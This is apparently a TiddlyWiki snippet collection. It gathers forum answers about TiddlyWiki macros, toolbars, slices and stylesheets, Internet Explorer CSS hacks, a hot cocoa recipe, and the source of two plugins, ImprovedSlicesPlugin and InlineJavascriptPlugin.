tiddler's toolbar, you could start by creating a tiddler called
[[NewTiddlerCommand]], containing just:
   <<newTiddler label:"new">>
Then, in [[ToolbarCommands]], simply add "NewTiddlerCommand" to the
toolbar definition, like this:

|~ViewToolbar|closeTiddler closeOthers NewTiddlerCommand
+editTiddler ... |

The result is that the <<newTiddler>> macro from [[NewTiddlerCommand]]
is rendered into the toolbar so it can be easily invoked from any
tiddler.
}}}
> Relatedly, is there a way to make the "edit" button request a password
> before allowing editing?

Try this:
   http://www.TiddlyTools.com/#TiddlerPasswordPlugin 

Source: [[Hiding Tiddler Toolbar Layout in Tagged Tiddlers - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/0722b757ad880a64/26ef07ebde3a683f#26ef07ebde3a683f]]
@@padding-left:0.7em;@@<html><input class="btn" type="button" value="Display most recent snips now" onClick="location.reload()" onmouseover="this.className='btn btnhov'" onmouseout="this.className='btn'"/></html>
----
{{systemcontents{
<<tabs "" [[Snips History]] "Chronological listing of SNIPS by creation date" [[TimelineSnips]] [[Timeline]] "Chronological listing of  ALL tiddlers by modified date" [[Timeline]] [[Find ]] "Find a tiddler " [[Find]]>>
}}}
Hot Cocoa Mix Recipe

Beverage Ingredients:
1cup cocoa
2cups sugar
5 1/2 cups dry milk powder
1cup powdered coffee creamer
1 1/2 teaspoons salt

Directions:
Mix together and store in airtight container. Fill cup 1/4 full of mix and add hot water and stir
You can leave out the salt if you prefer

Source: [[Hot Cocoa Mix Recipe|http://recipes.epicurean.com/recipe.print.jsp?recipe_no=14209]]
How To/HTML Publication

Source: [[How To/HTML Publication - TiddlyWiki.org|http://www.tiddlywiki.org/wiki/How_To/HTML_Publication]]
* well, it's more of a demo than a minimal testcase:
     http://graytestexperiments.tiddlyspot.com 

Source: [[How can you change the default codeblock font size? - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/2be826cf783414c4?pli=1]]
You can *hand edit* the permalink when you paste it into your email,
and replace the [ and ] with their properly encoded equivalents, like
this:

file:///M:/Logistics%20shared/General/Wiki/TraineeWiki.html#%5C%5CHow%20to%20format%20my%20DP%20bold%5D%5D

enjoy,
-e
Eric Shulman 

Source: [[How do I "permalink" in an email - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/970b9b90cbf6d3af]]
I've solved it.

{{{
<script>
var out = []
var tids=store.getTaggedTiddlers('Q');
for (var i=0; i<tids.length; i++) {
var prim=store.getValue(tids[i].title ,"primary");
var d='|[['+tids[i].title+']] |' +prim+'|';
out.push(d);
}

return out.join('\n');
</script>
}}}

Interestingly, wikifying the field adds un necesary double brackets.
I've added my fields in using visualTW field editor plugin using
double brackets. 

Source: [[How does the store work and where do i find out about it? TiddlyFan mega stuck - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/6de4fa308b7e6068#]]
The reason this works is that, in order to update the tiddlers,
TiddlerTweakerPlugin invokes the TW core function, store.saveTiddler()
which also triggers the upload processing that has been added by
UploadTiddlerPlugin.  However, for your purposes, you don't really
need most of what TiddlerTweaker is doing... rather, you just need get
the set of tagged tiddlers and invoke store.saveTiddler() on each, so
that UploadTiddlerPlugin can be properly triggered.

Here's an inline 'onclick' script [1] that should do the trick: (note:
untested code... just wrote it right here...)
{{{
<script label="touch tagged tiddlers">
var tag=prompt('Enter a tag'); if (!tag||!tag.length) return;
var tids=store.getTaggedTiddlers(tag);
store.suspendNotifications();
for (var i=0; i<tids.length; i++) { var t=tids[i];
   store.saveTiddler
(t.title,t.title,t.text,t.modifier,t.modified,t.tags,t.fields);
}

store.resumeNotifications();
</script> 
}}}

Source: [[How to (only) refresh all tiddlers with a certain tag - with a button? - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/bb3f1807670dc35e]]
	
		
Eric Shulman   	
View profile   Translated (View Original)
	 More options Mar 29, 2:54 pm
From: Eric Shulman <elsdes...@gmail.com>
Date: Sat, 28 Mar 2009 20:54:28 -0700 (PDT)
Local: Sun, Mar 29 2009 2:54 pm
Subject: Re: How to append a suffix to a field used for the title of a new tiddler inside a newTiddlermacro??
Reply | Reply to author | Forward | Print | Individual message | Show original | Report this message | Find messages by this author

> I'd like to combine {{tiddler.title}} with a suffix like this:

{{tiddler.title}} is a "computed parameter" that is simply returning
the value of the tiddler.title variable, which is just a javascript
text string and thus can also be used to construct more complex
javascript text expressions.  For example, appending some literal text
(such as "-") to the end of the title, like this:

<<newTiddler ... title:{{tiddler.title+'-'}} ... >>

enjoy, 

Source: [[How to append a suffix to a field used for the title of a new tiddler inside a newTiddlermacro?? - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/b1cad59b9e6f99d3]]
Sounds like you might be using one of my TW adaptations, which all
have bulleted lists with extra spacing. If so, just go to Stylesheet
and delete the following:
{{{
/*UNORDERED and ORDERED LISTS TWEAK*/
.viewer li {padding-top: 0.5em; padding-bottom: 0.5em;}
}}}
Then you will be back to normal TW line heights. 

Source: [[How to fix line height on bullets (and/or, how to fix CSS) - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/8df05c41b8bd6d92]]
So let me tell you how I myself did it:
I created a little tiddler "MyTWeaks" (systemConfig tagged) with a.o.
the next lines:

{{{
/* Next config.options override visiters-cookie-settings, if any */
config.options.chkSinglePageMode=true
config.options.chkSinglePageAutoScroll=true
config.options.chkSideBarTabs=false
config.options.chkHttpReadOnly=true
/* Next statement to hide tiddler source for viewing, be it by the
view-button or by double-click */
config.commands.editTiddler.hideReadOnly=true

in the StyleSheet tiddler I added only one line, to get rid of tiddler
elements I don't want on my website:
.tiddler .subtitle, .tiddler .tagging, .tiddler .tagged, .tiddler .toolbar
{ display:none; }
}}}
and finally I also installed the "SinglePageModePlugin" and the
"Monochrome"-theme.
(if you want, have a look in "www.judithcruz.nl" how this worked out)
Thanks again and w/best regards   /   Ton. 

Source: [[How to hide tiddler source for visitors over HTTP? - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/c63ea57728d8939a]]
> Is there a clean way (even if it is via a plugin to check them all) to
> quickly make a "diff" between the actual plugins versions and my plugins ?

http://www.TiddlyTools.com/#LoadTiddlersPlugin

usage:

{{{<<loadTiddlers "label:get updates from TiddlyTools"
   "changes" "http://www.TiddlyTools.com" "quiet">>}}}

enjoy, 

Source: [[How to make sure that plugins are up to date ? - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/c6809570c33b5cb9#]]
> I'd like to get rid of the "tags:" mention opening each row of tags. I
> mean I know words there are tags :)

Create a new tiddler called [[ConfigTweaks]], tagged with
'systemConfig' (i.e., make it a plugin tiddler), containing this one
line of javascript code:

config.views.wikified.tag.labelTags=""

Source: [[How to set the way tags are displayed within a tiddler ? - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/d8f1c9e85675786c]]
> Tiddler C:
> lorem ipsum..."""{{$1}}"""lorem ipsum...lorem ipsum...

> Tiddler D:
> ha ha ha ha ha ... ha ha ha
>{{{ <<tiddler C with: Parameter>>}}}
> I tried to implement this idea by stating the variable in tiddler C
> content as above with """{{$1}}""" and the call in tiddler D.
> It does not work ;-(

It works for me on TiddlyTools...  the $1 is replaced with "Parameter"
when [[C]] is trancluded into [[D]]

Note: the double-curly-brace delimiters are only used to surround
macro parameters that consist of *javascript code*, so that code can
be *evaluated* to determine the value that will be passed to the macro
handler.  These delimiters are not applicable in regular tiddler
content, are not part of the 'substitution marker' syntax that you use
to embed in the 'source' tiddler being transcluded...  Thus, you
should not have the""" {{...}} """around the $1 in [[C]]. 

Source: [[How to transclude content by parameter replacing - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/e79cb80767331e62]]
We know all about how powerful the GNU/Linux terminal is. However, it’s a pain to have to fire up a terminal emulator like Konsole or gnome-terminal, wait for a few seconds for it load, and then have to keep Alt-Tabbing to it. Wouldn’t it be easier to just have a terminal that automatically hides and shows itself at click of a button? Today, I’m going to look at three different terminal emulators that do just that.

Source: [[How to use Quake-style terminals on GNU/Linux|http://www.freesoftwaremagazine.com/columns/how_to_use_quake-style_terminals_on_GNU_Linux]]
Since the ColorPalette uses slices, you can simply do this:
     store.getTiddlerSlice("ColorPalette", "PrimaryLight"); 

Source: [[How to use colors from the colorpalette in a plugin - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/f85ee82c5255f968]]
http://www.TiddlyTools.com/#ChecklistScript

has been re-written to eliminate the dependency on CheckboxPlugin
(though it does still require InlineJavascriptPlugin to initialize the
checkboxes).

[[ChecklistScript]] now uses direct HTML to render checkboxes that
toggle tags.  It also uses an interesting technique to define the HTML
in a hidden tiddler slice that can be easily re-used to embed a
'toggletag' checkbox into any tiddler, like this:
{{{
/% HTML/script code for rendering a 'toggle tag' checkbox:
|toggletag|<html><form style="display:inline"><input type="checkbox"
name='c' onclick="var
tid=story.findContainingTiddler(this).getAttribute('tiddler');
store.setTiddlerTag(tid,this.checked,'$1');"></form></html><script>var
t=store.getTiddler(story.findContainingTiddler(place).getAttribute('tiddler'));
place.lastChild.getElementsByTagName('form')
[0].c.checked=t.isTagged('$1');</script>|
%/

<<tiddler [[ChecklistScript::toggletag]] with: questions>> Ask
questions
<<tiddler [[ChecklistScript::toggletag]] with: answers>> Seek Answers
<<tiddler [[ChecklistScript::toggletag]] with: fun>> Have Fun
<<tiddler [[ChecklistScript::toggletag]] with: difference>> Make A
Difference
<<tiddler [[ChecklistScript::toggletag]] with: smile>> Smile
}}}
enjoy,
-e 
IE error: Expected identifier, string or number 

Source: [[IE error: Expected identifier, string or number - amix blog|http://amix.dk/blog/viewEntry/19388]]
Internet Explorer has it’s problems with CSS (OK, it’s pretty much awful) but if you are worth your salt as a CSS coder, you should be able to deal with it. I am of the opinion that you can handle anything IE can throw at you without a ton of hacks and without having alternate stylesheets. But if you (or your client) really wants to get pixel-perfect results cross-browser, you may need to specifiy alternate stylesheets for different browsers, especially Internet Explorer.

Here is the basic technique for an IE-Only stylesheet:
{{{
<![if !IE]>
<link rel="stylesheet" type="text/css" href="NOT-IE.css" />
<![endif]>

If you need to get down and dirty with specific versions of IE, here are a few examples.
IE 6 ONLY:

<!--[if IE 6]>
<link rel="stylesheet" type="text/css" href="IE-6-SPECIFIC.css" />
<![endif]-->

IE 5 ONLY:

<!--[if IE 5]>
<link rel="stylesheet" type="text/css" href="IE-5-SPECIFIC.css" />
<![endif]-->

IE 5.5 ONLY:

<!--[if IE 5.5000]>
<link rel="stylesheet" type="text/css" href="IE-55-SPECIFIC.css" />
<![endif]-->

VERSION OF IE VERSION 6 OR LOWER: (I find this one pretty handy)

<!--[if lt IE 7]>
<link rel="stylesheet" type="text/css" href="IE-6-OR-LOWER-SPECIFIC.css" />
<![endif]-->

NON-IE BROWSERS ONLY: (If you just wanna snub IE all together)

<![if !IE]>
<link rel="stylesheet" type="text/css" href="REAL-STYLESHET.css" />
<![endif]>
}}}
Why would you want to use these conditional stylesheets?

    * It’s more future-proof than hacks. A new browser or a new version of a browser may come along one day that wrecks up interprets your hacks in a strange way and will mess up your styling. That’s no good! For example, there is a really effective min-height hack out there right now, but who is to say that will work forever? The solution here would be to declare a min-height like normal in your real stylesheet, then declare a height (the workaround) in an IE-6-and-Lower stylesheet.
    * It keeps your CSS clean. And valid! If having CS code that passes W3C snuff is important to you, this is the way to go
    * Expandability. If a new browser comes along that you want to also support, you can create a conditional statment and stylesheet for that and you are all set, instead of re-tweaking your exisiting stuff.
{{{

If you think it is overkill for you to have IE-Specific stylesheets, you can use hacks to make things happen. Again, I don’t really recommend this, but this is how it’s done.

IE-7 ONLY:

* html #div {
    height: 300px;
}

NON IE-7 ONLY:

#div {
   _height: 300px;
}

HIDE FROM IE 6 AND LOWER:

#div {
   height/**/: 300px;
}

HIDE FROM IE 6 AND LOWER: (another way)

html > body #div {
      height: 300px;
}
}}}
Source: [[How To Create an IE-Only Stylesheet - CSS-Tricks|http://css-tricks.com/how-to-create-an-ie-only-stylesheet/]]
Icons are missing from Control Panel, or you cannot start Control Panel, the Welcome Center, or games in Windows Vista

Source: [[Icons are missing from Control Panel, or you cannot start Control Panel, the Welcome Center, or games in Windows Vista|http://support.microsoft.com/kb/936686/en-us]]
Imageshack Toolbar for FireFox3 RELEASED!

http://reg.imageshack.us/content.php?page=toolbar

We are happy to announce release of Imageshack Toolbar for FireFox3. New version of Toolbar will still work on earlier versions of FireFox. Sorry it took us so long, so all of you ImageShackers out there, who've been waiting for this update, give it a try and let us know what you think. Always feel free to drop us a line in the email or post in our Forum about future improvements and functionality you would like to see in our ToolBar.


Source: [[Image Shack right click plugin - ImageShack Forums|http://forum.imageshack.us/forum/showthread.php?t=9]]
For a *fix* for the FF3 Browse button problem, see
   http://www.TiddlyTools.com/#CoreTweaks
   (tickets #683 and #604)

enjoy, 

Source: [[Import errors - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/7c764646bdc1d309]]
On Monday, 26 January 2009 7:08:00 PM, MsgRay imported 2 tiddlers from
[[F:\TiddlyWiki2.4\TWMath\twmath.html|F:\TiddlyWiki2.4\TWMath\twmath.html]]:
<<<
#[[EditATiddler]] - replaces EditATiddler - 6/25/2008 14:51:00 by MsgRay
#[[editA]] - added
<<<

----
On Friday, 23 January 2009 1:12:12 PM, MsgRay imported 19 tiddlers from
[[F:\TiddlyWiki2.4\TWMath\twmath.html|F:\TiddlyWiki2.4\TWMath\twmath.html]]:
<<<
#[[EquationEditorPlugin]] - added
#[[QuickEditPackage]] - added
#[[QuickEditPlugin]] - added
#[[QuickEditToolbar]] - added
#[[QuickEdit_align]] - added
#[[QuickEdit_color]] - added
#[[QuickEdit_css]] - added
#[[QuickEdit_equation]] - added
#[[QuickEdit_file]] - added
#[[QuickEdit_font]] - added
#[[QuickEdit_fontList]] - added
#[[QuickEdit_format]] - added
#[[QuickEdit_image]] - added
#[[QuickEdit_link]] - added
#[[QuickEdit_macro]] - added
#[[QuickEdit_replace]] - added
#[[QuickEdit_sort]] - added
#[[QuickEdit_split]] - added
#[[QuickEdit_tiddler]] - added
<<<
/***
|''Name:''|ImprovedSlicesPlugin|
|''Source:''|http://www.Remotely-Helpful.com/TiddlyWiki/ImprovedSlicesPlugin.html|
|''Version:''|1.0.1|
|''Author:''|Lyall Pearce|
|''License:''|[[Creative Commons Attribution-Share Alike 3.0 License|http://creativecommons.org/licenses/by-sa/3.0/]]|
|''~CoreVersion:''|2.2.4|
|''Requires:''|N/A|
|''Overrides:''|~TiddlyWiki.prototype.getTiddlerSlice() and ~store.getTiddlerSlice() |
|''Description:''|Enhances the Slicing capabilities where slices work before.|
!!!!!Usage
<<<
Whereas default slice functionality is specified as {{{"TiddlerName::SliceName"}}}, this plugin extends this, transparently
such that the following forms work...

{{{"TiddlerName::SliceName"}}}

Standard behaviour. Find the slice, return the data, as per standard TiddlyWiki functionality.

For table based slices, the following additional functionality is provided.

{{{"TiddlerName::SliceName#x"}}} where x is a number, meaning return this many columns of the table.

Zero values return all columns after the slice name.
Positive values return that many columns, starting in the column after the slice name.
Negative values return that many columns (converted to positive), starting from the last column in the row, counting backwards.

Given the following table...
|Slice Name|Value|Another Value|More Value|
|SliceName|Value 1|Value 2|Value 3|

{{{"TiddlerName::SliceName#0"}}} = Value 1|Value 2|Value 3
{{{"TiddlerName::SliceName#1"}}} = Value 1
{{{"TiddlerName::SliceName#2"}}} = Value 1|Value 2
{{{"TiddlerName::SliceName#-1"}}} = Value 3
{{{"TiddlerName::SliceName#-2"}}} = Value 2|Value 3
{{{"TiddlerName::SliceName#-3"}}} = Value 1|Value 2|Value 3


In addition to the above, {{{"TiddlerName::SliceName+x#y"}}} x specifies how many columns to skip (from the start or end) before returning y columns.

If you wish to use the +x syntax, then you must include the #y component. eg. {{{"TiddlerName::SliceName+2"}}} will be treated as "SliceName+2", not "SliceName", skip 2 columns before returning a column.

{{{"TiddlerName::SliceName+0#0"}}} = Value 1|Value 2|Value 3
{{{"TiddlerName::SliceName+0#1"}}} = Value 1
{{{"TiddlerName::SliceName+0#2"}}} = Value 1|Value 2
{{{"TiddlerName::SliceName+1#0"}}} = Value 2|Value 3
{{{"TiddlerName::SliceName+1#1"}}} = Value 2
{{{"TiddlerName::SliceName+1#2"}}} = Value 2|Value 3

If x is negative, then skip ''backwards'' from the end before returning y columns (continuing to count backwards)

{{{"TiddlerName::SliceName+0#-1"}}} = Value 3
{{{"TiddlerName::SliceName+0#-2"}}} = Value 2|Value 3
{{{"TiddlerName::SliceName+0#-3"}}} = Value 1|Value 2|Value 3
{{{"TiddlerName::SliceName+1#-1"}}} = Value 2
{{{"TiddlerName::SliceName+1#-2"}}} = Value 1|Value 2
{{{"TiddlerName::SliceName+1#-3"}}} = Value 1

<<<
!!!!!ToDo
<<<
    Bugs: 
1. A table consisting of a single cell, prior to a table containing slices, will swallow the first slice.
   Something to do with the regex not behaving as I expect.
2. If a table row contains a cell containing whitespace, the whole row is swallowed. Eg. {{{| |SliceName|values|}}}

<<<
!Code
***/
//{{{
version.extensions.TiddlerEncryptionPlugin = {major: 1, minor: 0, revision: 0, date: new Date(2007,8,16)};

// Unlike the core, I have separated the non-table slices and table slices into separate
// regexps - this makes it easier to understand, albeit a bit longer.
TiddlyWiki.prototype.slicesReColon = /(?:^[\t ]*[\'\/]*~?([\.\w\t ]+)[\'\/]*\:[\'\/\t ]*(.*?)[\t ]*$)/gm;

// Does not cope with slices with leading cells that contain spaces...  eg. | |sliceName|sliceValue|
TiddlyWiki.prototype.slicesReTable   = /(?:^[\|\t \>\~]*?\|[\'\/\t\ \~!]*([\w ]+?)[:\'\/\t\ ]*?\|[\t\ ]*(.+?)[\t\ ]*\|[\t\ ]*$)/gm;

// Completely replace the default slice calculation routine - to use the two regexps
// rather than the more complex single regexp
TiddlyWiki.prototype.calcAllSlices_ImprovedSlicesPlugin  = TiddlyWiki.prototype.calcAllSlices;
TiddlyWiki.prototype.calcAllSlices = function(title)
{
    var slices = {};
    var text = this.getTiddlerText(title,"");
    var m = undefined;
    this.slicesReTable.lastIndex = 0;
    do {
	m = this.slicesReTable.exec(text);
	if(m) {
	    slices[m[1]] = m[2];
	};
    } while(m);
    m = undefined;
    this.slicesReColon.lastIndex = 0;
    do {
	m = this.slicesReColon.exec(text);
	if(m) {
	    slices[m[1]] = m[2];
	};
    } while(m);
    return slices;
};
// Completely replace the default slice finding routine.
store.getTiddlerSlice_ImprovedSlicesPlugin = TiddlyWiki.prototype.getTiddlerSlice;
store.getTiddlerSlice = function(title,sliceName)
{
    var hashLoc = sliceName.lastIndexOf('#');
    var plusLoc = hashLoc < 0 ? -1 : sliceName.lastIndexOf('+', hashLoc);
    // var testingMode = title.substr(0,9) == 'TestSlice' ? 1 : 0;
    var theSliceName;
    if(plusLoc < 0) {
	theSliceName = hashLoc < 0 ? sliceName : sliceName.substring(0, hashLoc);
    } else { 
	theSliceName = hashLoc < 0 ? sliceName : sliceName.substring(0, plusLoc);
    }
    var plusAttr = (plusLoc < 0) ? 0 : parseInt(sliceName.substring(plusLoc+1, hashLoc));
    var hashAttr = (hashLoc < 0) ? 0 : parseInt(sliceName.substr(hashLoc+1));

    var slices = this.slices[title];
    if(!slices) {
	slices = this.calcAllSlices(title);
	this.slices[title] = slices;
    }
    try {
	var sliceValues = slices[theSliceName].split('|');
    } catch (e) {
	return "";
    }
    var sliceEnd = 1;
    var sliceBegin = plusAttr;
    if (hashAttr != 0) {
	if(hashAttr < 0) {
	    sliceEnd = (sliceValues.length) - plusAttr;
	    sliceBegin = sliceEnd + (hashAttr * 1);
	} else {
	    sliceEnd = sliceBegin + hashAttr;
	}
    }
    // if(testingMode == 1) {
    // 	displayMessage("Title="+title+" slice="+sliceName+" plusLoc="+plusLoc+" plusAttr="+plusAttr+" hashLoc="+hashLoc+" hashAttr="+hashAttr+" theSliceName="+theSliceName+" sliceBegin="+sliceBegin+" sliceEnd="+sliceEnd+" Source="+sliceValues);
    // }
    return sliceValues.slice(sliceBegin, sliceEnd).join('|');
};
//}}}
		
wolfgang   	
View profile
	 More options Jul 7, 6:02 am
From: wolfgang <wolfgangl...@gmail.com>
Date: Sun, 6 Jul 2008 13:02:53 -0700 (PDT)
Local: Mon, Jul 7 2008 6:02 am
Subject: IncludedTiddlerStylePlugin
Reply | Reply to author | Forward | Print | Individual message | Show original | Report this message | Find messages by this author
Just found and wanted to bring to attention this little helpful macro
as addition to the IncludePlugin:

http://kuraku.net/tw/#IncludedTiddlerStylePlugin

Regards,

W. 

Source: [[IncludedTiddlerStylePlugin - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/af3e1763ccf64a1d]]
----
{{unboldLink textindent1{
[img[http://img167.imageshack.us/img167/1120/wirebulletc06tk9.gif]]&nbsp;<html><a href="javascript:void(0)" onclick="story.closeAllTiddlers();story.displayTiddlers(null,store.getTiddlerText('DefaultTiddlers').readBracketedList())"><span title="Close all tiddlers and open Welcome" style="cursor:pointer">Home</span></a></html>
[img[http://img167.imageshack.us/img167/1120/wirebulletc06tk9.gif]]&nbsp;[[TagCloud]]
[img[http://img167.imageshack.us/img167/1120/wirebulletc06tk9.gif]]&nbsp;[[Install in sidebar Instructions|Instructions]]
[img[http://img167.imageshack.us/img167/1120/wirebulletc06tk9.gif]]&nbsp;[[Setup TiddlySnips|Setup]]
[img[http://img167.imageshack.us/img167/1120/wirebulletc06tk9.gif]]&nbsp;[[Setup SideSnips|SettingUpSideSnips]]
[img[http://img167.imageshack.us/img167/1120/wirebulletc06tk9.gif]]&nbsp;[[Help|Help]]
[img[http://img167.imageshack.us/img167/1120/wirebulletc06tk9.gif]]&nbsp;<html><a href="javascript:void(0)" onclick="story.closeAllTiddlers();story.displayTiddlers(null,store.getTiddlerText('TS-CategoriesList').readBracketedList())" title="Open a tab for each Category" style="cursor:pointer">Open a tab for each Category</a></html>
[img[http://img167.imageshack.us/img167/1120/wirebulletc06tk9.gif]]&nbsp;[[View Category List|TS-CategoriesList]]
[img[http://img167.imageshack.us/img167/1120/wirebulletc06tk9.gif]]&nbsp;[[View All Snips|SnipsTree]]
[img[http://img167.imageshack.us/img167/1120/wirebulletc06tk9.gif]]&nbsp;[[Find|Find]]
[img[http://img167.imageshack.us/img167/1120/wirebulletc06tk9.gif]]&nbsp;<html><A HREF="http://groups.google.com/group/TiddlyWiki/" target="_blank" title="Search Google">Search Google Group</A></html>

}}}

Index of /twempties

      2.0.11.html             19-Mar-2007 18:15  160K  
      2.1.3.html              19-Mar-2007 18:15  217K  
      2.2.0.html              06-Jun-2007 05:13  266K  
      2.2.2.html              11-Jun-2007 08:21  266K  
      2.2.3.html              16-Jun-2007 16:34  267K  
      2.2.4.html              18-Jun-2007 17:54  267K  
      2.2.5.html              24-Aug-2007 11:22  269K  
      2.2.6.html              18-Oct-2007 09:21  269K  
      2.3.0.html              04-Dec-2007 14:02  278K  
      2.4.0.html              09-May-2008 09:13  281K  


Source: [[Index of /twempties (Proxomitron)|http://randomibis.com/twempties/]]
> You can then 'transclude' (include and render) that
> tiddler's content into another tiddler, by using the TW core macro

FWIW, the community wiki also has some details on this:
     http://tiddlywiki.org/wiki/Transclusion

-- F. 

Source: [[Infobox templates - TiddlyWiki : Google Groups|http://groups.google.com/group/TiddlyWiki/browse_thread/thread/62a780de60727665]]
/***
|Name|InlineJavascriptPlugin|
|Source|http://www.TiddlyTools.com/#InlineJavascriptPlugin|
|Documentation|http://www.TiddlyTools.com/#InlineJavascriptPluginInfo|
|Version|1.9.4|
|Author|Eric Shulman - ELS Design Studios|
|License|http://www.TiddlyTools.com/#LegalStatements <br>and [[Creative Commons Attribution-ShareAlike 2.5 License|http://creativecommons.org/licenses/by-sa/2.5/]]|
|~CoreVersion|2.1|
|Type|plugin|
|Requires||
|Overrides||
|Description|Insert Javascript executable code directly into your tiddler content.|
''Call directly into TW core utility routines, define new functions, calculate values, add dynamically-generated TiddlyWiki-formatted output'' into tiddler content, or perform any other programmatic actions each time the tiddler is rendered.
!!!!!Documentation
>see [[InlineJavascriptPluginInfo]]
!!!!!Revisions
<<<
2009.02.26 [1.9.4] in $(), handle leading '#' on ID for compatibility with JQuery syntax
|please see [[InlineJavascriptPluginInfo]] for additional revision details|
2005.11.08 [1.0.0] initial release
<<<
!!!!!Code
***/
//{{{
version.extensions.InlineJavascriptPlugin= {major: 1, minor: 9, revision: 3, date: new Date(2008,6,11)};

config.formatters.push( {
	name: "inlineJavascript",
	match: "\\<script",
	lookahead: "\\<script(?: src=\\\"((?:.|\\n)*?)\\\")?(?: label=\\\"((?:.|\\n)*?)\\\")?(?: title=\\\"((?:.|\\n)*?)\\\")?(?: key=\\\"((?:.|\\n)*?)\\\")?( show)?\\>((?:.|\\n)*?)\\</script\\>",

	handler: function(w) {
		var lookaheadRegExp = new RegExp(this.lookahead,"mg");
		lookaheadRegExp.lastIndex = w.matchStart;
		var lookaheadMatch = lookaheadRegExp.exec(w.source)
		if(lookaheadMatch && lookaheadMatch.index == w.matchStart) {
			var src=lookaheadMatch[1];
			var label=lookaheadMatch[2];
			var tip=lookaheadMatch[3];
			var key=lookaheadMatch[4];
			var show=lookaheadMatch[5];
			var code=lookaheadMatch[6];
			if (src) { // load a script library
				// make script tag, set src, add to body to execute, then remove for cleanup
				var script = document.createElement("script"); script.src = src;
				document.body.appendChild(script); document.body.removeChild(script);
			}
			if (code) { // there is script code
				if (show) // show inline script code in tiddler output
					wikify("{{{\n"+lookaheadMatch[0]+"\n}}}\n",w.output);
				if (label) { // create a link to an 'onclick' script
					// add a link, define click handler, save code in link (pass 'place'), set link attributes
					var link=createTiddlyElement(w.output,"a",null,"tiddlyLinkExisting",wikifyPlainText(label));
					var fixup=code.replace(/document.write\s*\(/gi,'place.bufferedHTML+=(');
					link.code="function _out(place){"+fixup+"\n};_out(this);"
					link.tiddler=w.tiddler;
					link.onclick=function(){
						this.bufferedHTML="";
						try{ var r=eval(this.code);
							if(this.bufferedHTML.length || (typeof(r)==="string")&&r.length)
								var s=this.parentNode.insertBefore(document.createElement("span"),this.nextSibling);
							if(this.bufferedHTML.length)
								s.innerHTML=this.bufferedHTML;
							if((typeof(r)==="string")&&r.length) {
								wikify(r,s,null,this.tiddler);
								return false;
							} else return r!==undefined?r:false;
						} catch(e){alert(e.description||e.toString());return false;}
					};
					link.setAttribute("title",tip||"");
					var URIcode='javascript:void(eval(decodeURIComponent(%22(function(){try{';
					URIcode+=encodeURIComponent(encodeURIComponent(code.replace(/\n/g,' ')));
					URIcode+='}catch(e){alert(e.description||e.toString())}})()%22)))';
					link.setAttribute("href",URIcode);
					link.style.cursor="pointer";
					if (key) link.accessKey=key.substr(0,1); // single character only
				}
				else { // run inline script code
					var fixup=code.replace(/document.write\s*\(/gi,'place.innerHTML+=(');
					var c="function _out(place){"+fixup+"\n};_out(w.output);";
					try	 { var out=eval(c); }
					catch(e) { out=e.description?e.description:e.toString(); }
					if (out && out.length) wikify(out,w.output,w.highlightRegExp,w.tiddler);
				}
			}
			w.nextMatch = lookaheadMatch.index + lookaheadMatch[0].length;
		}
	}
} )
//}}}

// // Backward-compatibility for TW2.1.x and earlier
//{{{
if (typeof(wikifyPlainText)=="undefined") window.wikifyPlainText=function(text,limit,tiddler) {
	if(limit > 0) text = text.substr(0,limit);
	var wikifier = new Wikifier(text,formatter,null,tiddler);
	return wikifier.wikifyPlain();
}
//}}}

// // GLOBAL FUNCTION: $(...) -- 'shorthand' convenience syntax for document.getElementById()
//{{{
if (typeof($)=='undefined') { function $(id) { return document.getElementById(id.replace(/^#/,'')); } }
//}}}
/***
|Name|InlineJavascriptPlugin|
|Source|http://www.TiddlyTools.com/#InlineJavascriptPlugin|
|Version|1.6.0|
|Author|Eric Shulman - ELS Design Studios|
|License|http://www.TiddlyTools.com/#LegalStatements <<br>>and [[Creative Commons Attribution-ShareAlike 2.5 License|http://creativecommons.org/licenses/by-sa/2.5/]]|
|~CoreVersion|2.1|
|Type|plugin|
|Requires||
|Overrides||
|Description|Insert Javascript executable code directly into your tiddler content.|

''Call directly into TW core utility routines, define new functions, calculate values, add dynamically-generated TiddlyWiki-formatted output'' into tiddler content, or perform any other programmatic actions each time the tiddler is rendered.
!!!!!Usage
<<<
When installed, this plugin adds new wiki syntax for surrounding tiddler content with {{{<script>}}} and {{{</script>}}} markers, so that it can be treated as embedded javascript and executed each time the tiddler is rendered.

''Deferred execution from an 'onClick' link''
By including a {{{label="..."}}} parameter in the initial {{{<script>}}} marker, the plugin will create a link to an 'onclick' script that will only be executed when that specific link is clicked, rather than running the script each time the tiddler is rendered.  You may also include a {{{title="..."}}} parameter to specify the 'tooltip' text that will appear whenever the mouse is moved over the onClick link text

''External script source files:''
You can also load javascript from an external source URL, by including a src="..." parameter in the initial {{{<script>}}} marker (e.g., {{{<script src="demo.js"></script>}}}).  This is particularly useful when incorporating third-party javascript libraries for use in custom extensions and plugins.  The 'foreign' javascript code remains isolated in a separate file that can be easily replaced whenever an updated library file becomes available.

''Display script source in tiddler output''
By including the keyword parameter "show", in the initial {{{<script>}}} marker, the plugin will include the script source code in the output that it displays in the tiddler.

''Defining javascript functions and libraries:''
Although the external javascript file is loaded while the tiddler content is being rendered, any functions it defines will not be available for use until //after// the rendering has been completed.  Thus, you cannot load a library and //immediately// use it's functions within the same tiddler.  However, once that tiddler has been loaded, the library functions can be freely used in any tiddler (even the one in which it was initially loaded).

